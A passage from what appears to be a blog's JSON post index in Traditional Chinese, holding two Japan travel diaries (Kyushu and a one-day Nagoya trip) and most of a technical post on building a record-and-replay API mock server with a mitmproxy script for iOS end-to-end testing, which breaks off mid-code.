搭路面電車遇到可愛的熊本阿公阿嬤;指著免稅品的透明袋子裡的日清泡麵說「蘇勾以捏~」,我說「Good!Good@」;然後拿出剛買的熊本熊大福跟阿嬤說「卡哇伊捏~」,他比個讚說說「咖哇伊、阿哩嘎豆」;然後我說「私は台湾人です」阿嬤好像跟我打招呼什麼的(日語太爛聽不懂,只聽得出元氣什麼的),我意思意思回應,下車的時候也跟阿公阿嬤打招呼說掰掰。回飯店後第一次掀開窗簾,後面就是水前寺流域;其實風景不錯,晚上聽得到蟲鳴。休息片刻後下午沒什麼地方去了,就隨便找地圖上的點去晃晃。魯夫銅像先走路到熊本縣本廳前,找魯夫銅像。健軍神社再搭公車+走路到健軍神社;小神社,去的時候快關門了幾乎沒人。這邊沒有公車直達,都要走一小段(約 15 分鐘);離開神社後繼續往「熊本動物園」方向走(約 20–30 分鐘),找喬巴銅像。喬巴銅像在路上看到軍曹井蓋(好像是之前的活動)。在動物園門口找到喬巴銅像。 熊本動物園之前查好像蠻無聊的,就沒特別安排要進去;傍晚來人家也休園了。小插曲 在動物園門口遇到一組台灣家庭要拍照,就幫他們拍了;隔天去機場又遇到又再幫他們拍一次與飛機的合影,弟弟說我是拍照哥哥XD。看地圖再往後走有水前寺流域的江津湖公園,順路走去看看;發現 只是當地人運動的河濱公園 ,就直接搭公車回去飯店了(還是公車起站)。葦善らーめん晚上去新水前寺站的居酒屋吃飯。with 前前前同事(數字科技,後來去博客來上過 Line 新聞封面、a.k.a 博客來女神的 Irene Yu 吃飯)。還能在異地跟熟悉的人吃飯太感動了,畢竟我也自閉了好幾天(不懂日文、幾乎不講話),最後還獲得別府伴手禮😭。吃太快,只記得手羽先好吃,也嘗試了馬肉串燒(熊本馬肉刺身有名,我不敢吃);老闆娘很親切,但菜單都是日文,字形用翻譯軟體難辨識,只能猜XD吃完飯我用走的回飯店(約 15 分鐘) 最後漫步在熊本街頭,去 Lawson、全家買了冰跟甘酒(本來以為是清酒,結果 甘酒不是酒,是滋養消暑聖品 )。也順手買明天早上的早餐(哈密瓜麵包+果汁),全家的這款果肉果汁(哈密瓜、草莓…)真的好喝,我幾乎有看到就會買來喝,裡面有果肉甜甜的很好喝。Day 10 回程在日本獨自流浪 10 天了,也開始想家了、想念台灣的美食、台灣的朋友們。這間飯店唯一優點,出來對面就有機場交通車。同樣遇到實際誤點,Google Map 顯示已通過的狀況;還好有長崎的教訓與電子看板,我繼續耐心的等候,大概遲到了快 10 分鐘,車終於來了。司機會幫忙把行李箱放到客運下方的行李區,下車要記得拿就好。在路上又遇到野生熊本熊圍籬XD熊本真的到處可見熊本熊!9 點多就早早到機場(因為也沒地方想去了,晚點來也是在飯店待到晚點出門)。阿蘇熊本機場(KMJ) 很新很小,班次也不多;國際線今天就三班而已,國際線只有三個櫃檯,所有輪流使用。大約等到 10:20 才開放報到/托運,之前都搭長榮(可手提兩件),這次搭華航才發現是手提一件,現場趕快壓縮成一件。地勤說托運完先不要走,大概在現場等個 5 ~ 10 分鐘,如果行李有問題他們會叫號碼去處理(機場太小,也沒電子看板,只能乾等)。沒問題後,往國際線出發方向出境;本來想說早早來機場逛,結果機場也沒什麼。 那時候可能真的累了,後來才知道其實有觀景平台可以看飛機,掛完行李之後其實可以去逛逛,不急著出境。 要注意 3F 吃的那些全都在「安全檢查之後」出境之前,你可以左拐到吃的地方,但回來要重新檢查;一但完成出境就沒有賣吃的,只剩免稅店。一路到出境審查幾乎都沒人,安全檢查也你一人獨享。因為沒有很餓就沒有去吃的地方了,直接出境到國際線候機室。候機室、免稅店都不大,但很新並且都有 USB 充電插座;前面說的觀景平台這邊可以看到(在 2 樓的那些人就是)。沒特別買什麼,就把 Apple Watch 的 Suica 餘額花完,投了兩瓶水蜜桃水回台灣喝。12:30 準時起飛,Bye 九州、Bye 熊本。回程的飛機比較新,電影有超級瑪利歐兄弟,看完剛好到台灣;位子也沒坐滿,爽爽的一人坐一整排!下飛機的時候發現前面的人帶了一頂安全帽,是騎機車來坐飛機嗎 🤣抵達桃園機場,回家!提領行李的時候,可能因為太早托運;等了一下才來,順便實驗了 Airtag 尋找功能,行李接近的時候有叫!回台灣又在路上看到熊本熊XD(好像是玉山銀行的新卡活動)。小補充 日本公車、路面電車 搭乘經驗 整理券(上面有號碼) = 上車時候門口會有一台小機器可以抽(類似抽號碼牌) 有的路線是一口價可能就不會有整理券 如果用電子支付 (Suica) 可以不用抽整理券,但要注意金額不能扣到負 ( 跟台灣不一樣 ) 公車電車不找零,但可以先在車上的對幣機換錢(同樣在司機投錢那邊) 多半後上前下 日本公車會等人,等人坐好才開、等人下車才開;所以到站再站起來就好,不用還沒到站就擠到前面 ( 跟台灣不一樣 ) 下車就看手上的整理券號碼跟對應的車資支付:日本旅行搭公車不用怕!巴士乘車規則說明全攻略以上就是九州 10 日獨旅自由行的整個紀錄體驗,總結/Retro 已寫在前面,感謝您的閱讀。更多遊記 [遊記] 2023 廣島岡山 6 日自由行 [遊記] 9/11 名古屋一日快閃 [遊記] 2023 東京 5 日自由行 [遊記] 2023 京阪神 8 日自由行有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "遊記 9/11 名古屋一日快閃自由行", "url": "/posts/7b8a0563c157/", "categories": "Z, 度旅行遊記", "tags": "生活, japan, nagoya, traveling, peach", "date": "2023-09-29 00:39:58 +0800", "snippet": "[遊記] 9/11 名古屋一日快閃自由行樂桃航空名古屋一日快閃機票旅(ㄒㄧㄥˊ)遊(ㄐㄩㄣ)體驗背景一日名古屋來回機票是樂桃航空推出的活動:快閃來回票價 | Peach Aviation 羽田加入行列囉!最長可停留28小時50分鐘! www.flypeach.com我那時候買名古屋一日來回含機場服務費的價格是 $5,600 , 無托運、無餐點、無指定座位 ;來回都是紅眼航班: 去程:TPE...", "content": "[遊記] 9/11 名古屋一日快閃自由行樂桃航空名古屋一日快閃機票旅(ㄒㄧㄥˊ)遊(ㄐㄩㄣ)體驗背景一日名古屋來回機票是樂桃航空推出的活動:快閃來回票價 | Peach Aviation 羽田加入行列囉!最長可停留28小時50分鐘! www.flypeach.com我那時候買名古屋一日來回含機場服務費的價格是 $5,600 , 無托運、無餐點、無指定座位 ;來回都是紅眼航班: 去程:TPE 02:25 -> NGO 06:30 回程:NGO 23:15 -> TPE 01:25照官方宣傳文宣, 最長停留時間 16小時45分鐘 !手提行李規定: 每人兩件 & 總重小於 7 公斤手提行李規定日期: 2023/09/11、獨旅Visit Japan為了加速入境一樣直接預先填寫好入境資訊,直接用 QRCode 就能完成入境手續: 這邊停留時間填寫 1 日,在日聯絡資訊我直接填寫 名古屋中部國際機場的資訊,沒有被問,安全通過!中部國際機場資訊總結(寫在前面)一日快閃是一場體力與精神的考驗;本來計劃候機或在機上睡,但是候機時間太早沒睡意,上飛機後飛機位子太小、沒排到靠窗、引擎聲很吵,沒有真的睡著,因此等於整晚都沒睡;下飛機 6:00 就開始跑名古屋行程;一度累到中午在名古屋塔的咖啡廳(安靜、沒什麼人)趴著睡了半個多小時。時間與景點有限,不太能去太遠。除了人體的電量,手機的電量也是一大考驗;我是帶 20,000 毫安時的小米行動電源才跑完全部行程的(大概來回充了 iPhone 13,4–5 次)。回台灣大約凌晨 2–3 點,沒有公共交通,只能搭計程車回台北。可以 +幾百塊 選靠窗的位置、準備頸枕、耳塞比較好睡。起程9/10 PM 22:03 — 抵達 機捷 A1 台北車站,搭乘 22:15 直達車前往第一航廈9/10 PM 10:55 — 抵達 第一航廈出境大廳來的太早,報到櫃檯 23:55 才開放(雖然沒有托運但不知道為什麼無法使用網路報到,所以還是只能等櫃檯開放)。還有一小時才開放報到,索性先回 B1 美食街找位子休息;晚上 11 點的美食街所有店面都關了(包含超商),什麼吃的都買不到。9/11 AM 00:09 — 完成出境報到櫃檯提早開放,我 11:40 回到出境大廳就看到開始報到了;沒有托運行李、只背個包包,快速的完成報告&安全檢查&出境。9/11 開始,正式倒數 24 小時!9/11 AM 00:12 — 在第一航廈亂晃值得一提的是,第一航廈有免費開放的休息區貴賓室,只要照個往貴賓室的指標走就會到了;環境、位子類似咖啡廳,還有淋浴室(有開放時間 AM 6 — PM 10);細節介紹可參考 這篇文章 。在休息區那邊其實比較好睡,因為可以趴著。。。但我那時候只有路過看了一眼就開始在機場尋找有賣吃的東西的地方(因沒飛機餐),但可想而知時間太晚全都關了,最後只找到一台有賣餅乾的販賣機,於是買了一包義美泡芙、投了罐茶帶著。9/11 AM 00:45 — 在登機門候機來的真的太早了,候機室沒什麼人;椅子是兩個兩個一組,很難躺著睡(很醜,我拍完照就起來了)、仰著睡也不舒服、還有候機室冷氣很冷;不過那時候精神還算好,沒什麼睡意,後面時間越來越接近人也越來越多,吵雜聲越來越大,就更難睡了;因此就只有閉目養神儲存精力、翻翻日文基礎(五十音),想說上飛機在睡一波。9/11 AM 02:14 — 完成登機飛機小延誤,本來是預計 01:55 開始登機,延誤 10 分鐘;最後我在 02:15 完成登機。9/11 AM 02:26 — 飛機起飛位子超小,在走道邊沒有頭的依靠,還好有帶頸枕加減有些支撐,但一路上引擎的轟鳴聲+脖子的酸=幾乎沒有睡著,就這樣一路顛波到名古屋;機上也沒有螢幕顯示飛航距離,覺得時間很漫長。 要我再選的話,我會選擇 +幾百塊 選靠窗的位置;一是頭有地方靠比較好睡、二是早上飛抵日本時能從窗戶看到日出!!9/11 AM 06:20 — 抵達 名古屋中部國際機場9/11 AM 06:35— 完成入境可能是一大早+不需要提領行李,從飛機落地到入境只花不到 15 分鐘;但是天空不作美,名古屋正在下大雨。9/11 AM 7:03 — 候車前往名古屋市區一張是座位資訊一張是進出票(投入機器用)我是先從 Klook 買的 中部國際機場 -> 名古屋鐵道單程車票+uSky 列車 ($271),想說來了都來了就坐看看最新最好的火車;指定座位、很穩定舒適而且是特急列車。不過如果要省錢跟方便,其實現場買準急或是直接進站搭普通車就可以了;附上列車時刻表及停留站,或直接從 名鐵網站查詢 :第 1 個目的地: Konparu Osu コンパル 大須本店 吃炸蝦吐司需要在 金山(NH34) 就下車 改搭 名城縣 前往 上前津車站。9/11 AM 8:00 抵達 Konparu Osu コンパル 大須本店8 點開門,一大清早完全沒人,附近的大須商店街也沒有該使營業。咖啡是必須的,畢竟整晚沒睡;炸蝦吐司的蝦是真的整之下去切成的,吃得到蝦肉的 Q 彈。第 2 個目的地: 名古屋城名古屋城 9:00 開,其他景點沒那麼早開、從 上前津車站 去也順路很近,因此先去名古屋城。9/11 AM 9:02 抵達 名古屋城吃飽出發後,約莫 9:02 抵達名古屋城站。出車站發現外面正下起大雨,我沒料到日本會下雨,沒帶雨傘;附近很空曠沒看到超商,最後在名古屋城站地下街往對面名古屋市役所的 B1 找到全家超商,買了一隻雨傘繼續前往名古屋城!走進名古屋城雨勢稍緩,但是天守閣尚在維修不開放,只能參觀旁邊金碧輝煌的本丸御殿。本丸御殿進入本丸御殿要脫鞋、寄放包包(免費,但要有 $100 日幣硬幣)。第 2 個目的地: 中部電力MIRAI TOWER(原名名古屋電視塔)就在名古屋城的右下角,距離約 2 站;我走出名古屋城後搭公車前往。9/11 AM 10:08 — 抵達 中部電力MIRAI TOWER(原名名古屋電視塔)天氣時陰時晴,去的時候轉晴,離開的時候又轉陰。買票後可以上到觀景台鳥瞰名古屋市(如果只是要去中間層的咖啡廳不需買票,咖啡廳也能看到一些景觀)。咖啡廳視野,時間接近 10:30 開始睏意來襲;在這邊趴著睡到 11 點多才離開,這邊位子很多、人少、安靜…實在太適合補眠了。第 3 個目的地: 綠洲21綠洲 21 就在名古屋塔外面,但由於下雨+平日+早上,所以沒什麼好逛的,去繞了一下就離開了。第 4 個目的地: 矢場丼 矢場町本店時間接近中午,想說吃一下名古屋有名的味噌豬排,本店距離名古屋塔約一兩站的距離,決定用走的。第 5 個目的地: 大須商店街走到的時候發現人多要排隊…時間寶貴,因也靠近大須商店街了,就再繼續走往大須商店街覓食。9/11 PM 12:09 — 抵達 大須商店街一路往大須觀音方向走,快到大須觀音前有另一家 史場的分店 ,入內用餐。無腦的點套餐吃,想想點錯了,主要是想吃左上角的味噌豬排,套餐是 味噌豬排+炸柳葉魚+佃煮+小菜+湯+飯;味噌豬排好吃但太少吃不夠啊!第 6 個目的地: 大須觀音這家店出來就是大須觀音。9/11 PM 13:05— 抵達 大須觀音本殿維修中,只在外面逛逛就離開了。怕鳥的別來,外面鴿子很多,可以買飼料餵鴿子。第 7 個目的地: 熱田神宮再逛一次大須商店街,走回名城線,前往熱田神宮。路上買了 弁才天 水果大福來吃,皮薄嫩、水果新鮮汁多,一口氣買了兩個吃!(我覺得比 如水庵 的好吃 XD)再去商店街的藥妝簡單採購了一些可以帶上飛機的藥品帶回去台灣。9/11 PM 13:35 — 抵達 熱田神宮名城線熱田神宮站出來,要再走一段才會到熱田神宮參拜正門。簡單參拜後,買了些御守就離開了。第 8 個目的地: 名鐵名古屋 逛街最後一個點是去名鐵逛逛(其實到這邊的時候已經很累了)。9/11 PM 14:40 — 抵達 名鐵名古屋在地下街逛了一圈後往 JR GATE TOWER 走,上到 15F 的星巴克 有免費的風景可以看。因為下雨外面的位子沒開放,裡面的位子爆滿,就沒有買一杯咖啡坐下來休息觀景了;拍了照片就開始拍了幾張照片就開始往下逛高島屋百貨,樓下有 Harbs 但需要排隊。對面有一個 Sky Promenade 名古屋新的觀景台,但因為累、要再買門票、天氣不好就沒去了;查時間內還能去、有興趣的景點也沒了;最後就只一路往下逛逛到地下街買了些伴手禮(青蛙本家);就一樣買 名古屋鐵道 -> 中部國際機場 單程車票+uSky 列車 ($271) 回機場了。時間還不到 PM 5:00 有點可惜。。。但要再去其他景點又太遠。。。又想說避開下班時間人潮。第 9 個目的地:回名古屋中部國際機場亂逛拍了一下 uSky 真身。9/11 PM 16:44 — 抵達 中部國際機場第一航廈23:15 飛機才飛,還有好長好長一段時間。先買名古屋有名的手羽先嚐嚐。NGO 機場有很多東西可以逛,除了裡面吃的喝的跟伴手禮,還有一個很大的觀景平台可以近距離看飛機起降!(第一航廈)或先去第二航廈看免費的飛機博物館(我去的時候已經關門了)。這邊還有 Lawson 跟扭蛋商店(但也是有營業時間)。9/11 PM 19:30 — 中部國際機場第一航廈 吃晚餐晚餐吃了機場的 名古屋烏龍麵 ,名古屋的特色麵條是扁的。味道不錯,但不小心點成雙主食…他的豬排是豬排飯XD吃飽繼續候機…等待櫃檯開放(20:45 開放)。9/11 PM 20:45 — 中部國際機場第一航廈 出境手續在角落咪了一下到 20:00 多時去排隊準備出境;聯航對手提行李檢查蠻嚴格的,規定就是兩件小於 7 公斤內,不會睜一隻眼閉一隻眼;有看到有人單純是去買一台 PS5 回來,好像也是個一日快閃目標的不錯選擇。9/11 PM 21:45 — 中部國際機場第一航廈 逛免稅店、候機我只有一個包包所以可以再手提一個,就順手再買了一瓶獺祭二割三分 750 ml 回台灣了。(5,700 日圓,比東京貴 100 日圓)生可樂好喝,在超市或販賣機看到可以買來嘗試看看;它是 Suntory 跟百事一起推出的,台灣買不到,用做生啤的做法作可樂,氣泡感很足,不太有糖漿的膩,我喝一般可樂喝到後面都因為太膩倒掉,但生可樂我能喝完! 回到聯航手提行李檢查嚴格的部分,上機前會再檢查是不是只有兩件,不是的話會要你現場變成兩件或加價。9/12 AM 00:09 — 中部國際機場第一航廈 起飛因為班機延誤,原本預訂 23:15,延誤到 23:50;約 00:15 才起飛。但很幸運分配到靠窗的位置,能好好睡一波了。睡醒研究了一下機上設施,才發現航程資訊、娛樂影片,用手機連上機上 WiFi 就能查看、點餐也是可以直接用手機點。有人點類似排骨雞麵的東西在吃,整個機艙都是香味,很邪惡。9/12 AM 02:25 —抵達 桃園國際機場還好因為靠窗,在機上有補眠一下;精神還算可以。9/12 AM 03:30 抵達溫暖的台北住處不得不說台灣交通很不方便,紅眼班機到桃園機場;就只能搭可怕的一口價計程車或很貴的 Uber 回台北;如果要搭乘公共運輸只能等凌晨 4–5 點的客運。此行目的:搜集三大名城之一的名古屋城:後來才知道名古屋還有犬山城可以去,如果重新安排應該會先去犬山城吧、還有鰻魚飯沒吃到!更多遊記 [遊記] 2023 廣島岡山 6 日自由行 [遊記] 2023 九州 10 日自由行獨旅 [遊記] 2023 東京 5 日自由行 [遊記] 2023 京阪神 8 日自由行有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "POC App End-to-End Testing Local Snapshot API Mock Server", "url": "/posts/5a5c4b25a83d/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, end-to-end-testing, ui-testing, automation-testing, ios", "date": "2023-08-28 22:53:27 +0800", "snippet": "[POC] App End-to-End Testing Local Snapshot API Mock Server為現成 App 及現有 API 架構實現 E2E Testing 的可能性驗證Photo by freestocks前言作為一個已在線上運作多年的專案,如何持續提升穩定性是一件極具挑戰的問題。Unit TestingApp 因開發語言 Swift/Kotlin 靜態+編譯+強...", "content": "[POC] App End-to-End Testing Local Snapshot API Mock Server為現成 App 及現有 API 架構實現 E2E Testing 的可能性驗證Photo by freestocks前言作為一個已在線上運作多年的專案,如何持續提升穩定性是一件極具挑戰的問題。Unit TestingApp 因開發語言 Swift/Kotlin 靜態+編譯+強型別 或 Objective-C to Swift 動態轉靜態,在開發時沒考慮到可測試性把介面依賴切乾淨,後面要補 Unit Testing 幾乎不可能;但在重構的過程也會帶來不穩定因素,會陷入一個雞生蛋蛋生雞問題。UI Testing對 UI 交互、按鈕測試;新開發或舊有的畫面稍微解耦資料依賴就可以實現。SnapShot Testing驗證調整前後的 UI 顯示內容、樣式是否一致;同 UI Testing,新開發或舊有的畫面稍微解耦資料依賴就可以實現。用在 Storyboard/XIB 轉 Code Layout or UIView from OC to Swift 很實用;可以直接導入 pointfreeco / swift-snapshot-testing 快速實現。雖然我們可以後期補上 UI Testing、SnapShot Testing,但能涵蓋的測試範圍很有限;因為多半的錯誤不會是 UI 樣式,而是流程或是邏輯問題,導致使用者中斷操作, 如果出現在結帳流程,牽涉到營收,問題層級就很嚴重 。End-to-End Testing如前述,無法在現行專案簡易的補上單元測試也無法聚攏單元做整合測試,對於邏輯、流程的防護,還剩下從外部做 End-to-End 黑箱測試的方法,直接以使用者角度出發,操作流程檢查重要的流程(註冊/結帳…)是否正常。 對重大功能的重構也能先建立重構前的流程測試,重構後重新驗證,確保重構後功能如預期。 重構中一併補上 Unit Testing、Integration Testing 增加穩定性,打破雞生蛋蛋生雞的問題。QA TeamEnd-to-End Testing 最直接暴力的方式就是請一組 QA Team 依照 Test Plan 進行手動測試,然後再持續優化或引入自動化操作;計算了一下成本至少需要 2 位工程師 + 1 位 Leader 花費至少半年一年時間才能看到成果。評估時間與成本,有沒有什麼是現況我們能做的或是能為未來 QA Team 做好準備,當有 QA Team 時能直接跳到優化與自動化操作甚至導入 AI(?)。Automation現階段以導入自動化 End-to-End Testing 為目標,放在 CI/CD 環節自動檢查,測試內容可以不用太完整、只要能防止重大流程問題就已經很有價值了;後面再慢慢迭代 Test Plan 逐步補齊守備範圍。End-to-End Testing —技術難點UI 操作問題App 的原理比較像是透過另一個測試 App 去操作我們的被測試 App,然後從 View Hierarchy 去找尋目標物件;並且在測試時無法取得被測試 App 的 Log 或 Output,因為本質上就是兩個不同 App。iOS 需要完善 View Accessibility Identifier 增加效率與準確性還有要處理 Alert (e.g. 推播請求)。Android 在之前的實作上有遇到混用 Compose 與 Fragment 時會找不到目標物件的問題,但據 Teammate 表示,新版的 Compose 已經解決。除以上傳統常見問題外,更大的問題是雙平台難以整合(寫一個測試跑兩個平台);目前我們在嘗試使用新的測試工具 mobile-dev-inc / maestro :可以用 YAML 寫 Test Plan 然後在雙平台執行測試,細節使用方式、試用心得,靜待另一位 Teammate 的文章分享 cc’ed Alejandra Ts. 😝。API 資料問題對於 App E2E Testing 最大的測試變量就是 API 資料,如果無法提供保證確定的資料,會增加測試的不穩定性,導致誤報,最後大家對 Test Plan 也不再有信心了。例如測試結帳流程,如果商品有可能被下架或消失,且這些狀態改變不是 App 可控的就很有可能出現以上狀況。解決資料問題的方式有很多種,可以建立乾淨的 Staging 或 Testing 環境;或是基於 Open API 的 Auto-Gen Mock API Server;但都需要依賴後端、依賴 API 的外部因素,加上後端 API 同 App 一樣是在線上運作多年的專案,部份規格也還在重構 Migrate 暫時無法有 Mock Server。基於以上因素,如果就卡在這,那問題一樣不會改變、雞生蛋蛋生雞問題也無法突破,真的就只能「挺而走險」的直接先改、出問題再說了。Snapshot API Local Mock Server 「只要思想不滑坡,方法總比困難多」我們可以換一個想法,如果 UI 可以用 Snapshot 快照成圖片下來 Replay 進行驗證測試,那 API 是否也可以? 我們是否可以把 API Request & Response 存下來,在後續 Replay 進行驗證測試?藉此引入本篇文章的重點:建立「Snapshot API Local Mock Server」Record API Request & Replay Response 剝離與 API 資料的依賴。 本文只做了 POC 概念驗證,還沒有真正全面實現高覆蓋率的 End To End Testing,因此做法僅供參考, 希望對大家在現有環境下有新的啟發 。Snapshot API Local Mock Server核心概念 — Record & Replay API Data[Record] — End-to-End Testing Test Case 開發完成後,打開錄製參數,執行一次測試,過程中所有 API Request & Response 會存下來放在各個 Test Case 目錄內。[Replay] — 後面在跑 Test Case 時,依照請求從 Test Case 目錄中找到對應錄製下來的 Response Data,完成測試流程。示意圖假設我們要測試加入購買流程,使用者打開 App 後在首頁點擊商品卡進入商品詳細頁,按底部購買,跳出登入匡完成登入,完成購買,跳出購買成功提示:UI Testing 如何控制按鈕點擊、輸入匡輸入…等等,不是本文主要研究重點;可參考現有的測試框架直接使用。Regular Proxy or Reverse Proxy要達成 Record & Replay API 需要在 App 與 API 之間加上 Proxy 做中間人攻擊,可參考我早期的文章「 APP有用HTTPS傳輸,但資料還是被偷了。 」簡單來說就是在 App 與 API 之間多了一個代理的傳遞者,如同傳紙條一樣,雙方傳遞的請求與回應都會經過他,他可以打開來紙條的內容,也可以偽造紙條內容給彼此,雙方不會察覺你從中做梗。正向代理 Regular Proxy:正向代理是客戶端向代理伺服器發送請求,代理伺服器再將請求轉發給目標伺服器,並將目標伺服器的回應返回給客戶端。在正向代理模式下,代理伺服器代表客戶端發起請求。客戶端需要明確指定代理伺服器的位址和埠號,並將請求發送給代理伺服器。反向代理 Reverse Proxy:反向代理與正向代理相反,它位於目標伺服器和客戶端之間。客戶端向反向代理伺服器發送請求,反向代理伺服器根據一定的規則將請求轉發給後端的目標伺服器,並將目標伺服器的回應返回給客戶端。對於客戶端來說,目標伺服器看起來就像是反向代理伺服器,客戶端不需要知道目標伺服器的真實位址。對我們的需求來說正向或反向都可以達成目的,唯一要考慮的事是代理設置的方式:正向代理需要在電腦上或手機、模擬起的網路設置中掛上 Proxy 代理: Android 能在模擬器中個別直接設置 Proxy 代理 iOS Simulator 同電腦的網路環境,無法個設置 Proxy,變成要去改電腦的設置才能掛上 Proxy,電腦的所有流量也都會經過這個 Proxy 並且如果同時開啟 Proxyman 或 Charles 等等其他網路工具,有機會會強制更改 Proxy 設置成該軟體的,導致失效。反向代理需要改 Codebase 中的 API Host 並且要宣告要代理的所有 API Domains: Codebase 中的 API Host 要在測試時替換成 Proxy Server IP 在啟用 Reverse Proxy 時要宣告哪些 Domain 要掛上 Proxy 只有宣告的 Domain 才會走 Proxy,沒宣告的會直通出去 配合 iOS App,以下以 iOS & 使用 Reverse Proxy 反向代理為例做 POC,Android 一樣可以使用。讓 iOS App 知道現在正在跑 End-to-End Testing我們需要讓 App 知道現在正在跑 End-to-End Testing 才能在 App 程式裡加上 API Host 替換邏輯:// UI Testing Target:let app = XCUIApplication()app.launchArguments = [\"duringE2ETesting\"]app.launch()我們在 Network 層做判斷抽換。 這是不得已的調整,盡量還是不要為了測試而去改 App 的 Code。使用 MITMProxy 實現 Reverse Proxy Server 亦可使用 Swift 自行開發 Swift Server 達成,本文只是 POC 因此直接使用 MITMProxy 工具。[2023–09–04 Update] Mitmproxy-rodo 已開源以下實作內容已經開源到 mitmproxy-rodo 專案,歡迎直接前往對照使用。部份結構與本文章內容有所調整,開源時後續調整了: 儲存目錄的結構,改為 host / requestPath / method / hash 修正 Header 資訊儲存,應該為 Bytes Data 而非純 JSON String 修正部份錯誤 增加自動延長 Set-Cookie 時效功能 ⚠️ 以下腳本僅共 Demo 參考,後續腳本調整將移至開源專案維護。 ⚠️ 以下腳本僅共 Demo 參考,後續腳本調整將移至開源專案維護。 ⚠️ 以下腳本僅共 Demo 參考,後續腳本調整將移至開源專案維護。 ⚠️ 以下腳本僅共 Demo 參考,後續腳本調整將移至開源專案維護。 ⚠️ 以下腳本僅共 Demo 參考,後續腳本調整將移至開源專案維護。MITMProxy照著 MITMProxy 官網 完成安裝:brew install mitmproxyMITMProxy 細節用法可參考我早期的文章「 APP有用HTTPS傳輸,但資料還是被偷了。 」 mitmproxy 提供一個互動式的命令行界面。 mitmweb 提供基於瀏覽器的圖形用戶界面。 mitmdump 提供非互動的終端輸出。實現 Record & Replay因 MITMProxy Reverse Proxy 原生沒有 Record (or dump) request & Mapping Request Replay 的功能,因此我們需要自行撰寫腳本實現此功能。mock.py :\"\"\"Example: Record: mitmdump -m reverse:https://yourapihost.com -s mock.py --set record=true --set dumper_folder=loginFlow --set config_file=config.json Replay: mitmdump -m reverse:https://yourapihost.com -s mock.py --set dumper_folder=loginFlow --set config_file=config.json\"\"\"import reimport loggingimport mimetypesimport osimport jsonimport hashlibfrom pathlib import Pathfrom mitmproxy import ctxfrom mitmproxy import httpclass MockServerHandler: def load(self, loader): self.readHistory = {} self.configuration = {} loader.add_option( name=\"dumper_folder\", typespec=str, default=\"dump\", help=\"Response Dump 目錄,可以 by Test Case Name 建立\", ) loader.add_option( name=\"network_restricted\", typespec=bool, default=True, help=\"本地沒有 Mapping 資料...設置 true 會 return 404、false 會去打真實請求拿資料。\", ) loader.add_option( name=\"record\", typespec=bool, default=False, help=\"設置 true 錄製 Request's Response\", ) loader.add_option( name=\"config_file\", typespec=str, default=\"\", help=\"設置檔案路徑,範例檔案在下面\", ) def configure(self, updated): self.loadConfig() def loadConfig(self): configFile = Path(ctx.options.config_file) if ctx.options.config_file == \"\" or not configFile.exists(): return self.configuration = json.loads(open(configFile, \"r\").read()) def hash(self, request): query = request.query requestPath = \"-\".join(request.path_components) ignoredQueryParameterByPaths = self.configuration.get(\"ignored\", {}).get(\"paths\", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get(\"queryParamters\", []) ignoredQueryParameterGlobal = self.configuration.get(\"ignored\", {}).get(\"global\", {}).get(\"queryParamters\", []) filteredQuery = [] if query: filteredQuery = [(key, value) for key, value in query.items() if key not in ignoredQueryParameterByPaths + ignoredQueryParameterGlobal] formData = [] if request.get_content() != None and request.get_content() != b'': formData = json.loads(request.get_content()) # or just formData = request.urlencoded_form # or just formData = request.multipart_form # depends on your api design ignoredFormDataParametersByPaths = self.configuration.get(\"ignored\", {}).get(\"paths\", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get(\"formDataParameters\", []) ignoredFormDataParametersGlobal = self.configuration.get(\"ignored\", {}).get(\"global\", {}).get(\"formDataParameters\", []) filteredFormData = [] if formData: filteredFormData = [(key, value) for key, value in formData.items() if key not in ignoredFormDataParametersByPaths + ignoredFormDataParametersGlobal] # Serialize the dictionary to a JSON string hashData = {\"query\":sorted(filteredQuery), \"form\": sorted(filteredFormData)} json_str = json.dumps(hashData, sort_keys=True) # Apply SHA-256 hash function hash_object = hashlib.sha256(json_str.encode()) hash_string = hash_object.hexdigest() return hash_string def readFromFile(self, request): host = request.host method = request.method hash = self.hash(request) requestPath = \"-\".join(request.path_components) folder = Path(ctx.options.dumper_folder) / host / method / requestPath / hash if not folder.exists(): return None content_type = request.headers.get(\"content-type\", \"\").split(\";\")[0] ext = mimetypes.guess_extension(content_type) or \".json\" count = self.readHistory.get(host, {}).get(method, {}).get(requestPath, {}) or 0 filepath = folder / f\"Content-{str(count)}{ext}\" while not filepath.exists() and count > 0: count = count - 1 filepath = folder / f\"Content-{str(count)}{ext}\" if self.readHistory.get(host) is None: self.readHistory[host] = {} if self.readHistory.get(host).get(method) is None: self.readHistory[host][method] = {} if self.readHistory.get(host).get(method).get(requestPath) is None: self.readHistory[host][method][requestPath] = {} if filepath.exists(): headerFilePath = folder / f\"Header-{str(count)}.json\" if not headerFilePath.exists(): headerFilePath = None count += 1 self.readHistory[host][method][requestPath] = count return {\"content\": filepath, \"header\": headerFilePath} else: return None def saveToFile(self, request, response): host = request.host method = request.method hash = self.hash(request) requestPath = \"-\".join(request.path_components) iterable = self.configuration.get(\"ignored\", {}).get(\"paths\", {}).get(request.host, {}).get(requestPath, {}).get(request.method, {}).get(\"iterable\", False) folder = Path(ctx.options.dumper_folder) / host / method / requestPath / hash # create dir if not exists if not folder.exists(): os.makedirs(folder) content_type = response.headers.get(\"content-type\", \"\").split(\";\")[0] ext = mimetypes.guess_extension(content_type) or \".json\" repeatNumber = 0 filepath = folder / f\"Content-{str(repeatNumber)}{ext}\" while filepath.exists() and iterable == False: repeatNumber += 1 filepath = folder / f\"Content-{str(repeatNumber)}{ext}\" # dump to file with open(filepath, \"wb\") as f: f.write(response.content or b'') headerFilepath = folder / f\"Header-{str(repeatNumber)}.json\" with open(headerFilepath, \"wb\") as f: responseDict = dict(response.headers.items()) responseDict['_status_code'] = response.status_code f.write(json.dumps(responseDict).encode('utf-8')) return {\"content\": filepath, \"header\": headerFilepath} def request(self, flow): if ctx.options.record != True: host = flow.request.host path = flow.request.path result = self.readFromFile(flow.request) if result is not None: content = b'' headers = {} statusCode = 200 if result.get('content') is not None: content = open(result['content'], \"r\").read() if result.get('header') is not None: headers = json.loads(open(result['header'], \"r\").read()) statusCode = headers['_status_code'] del headers['_status_code'] headers['_responseFromMitmproxy'] = '1' flow.response = 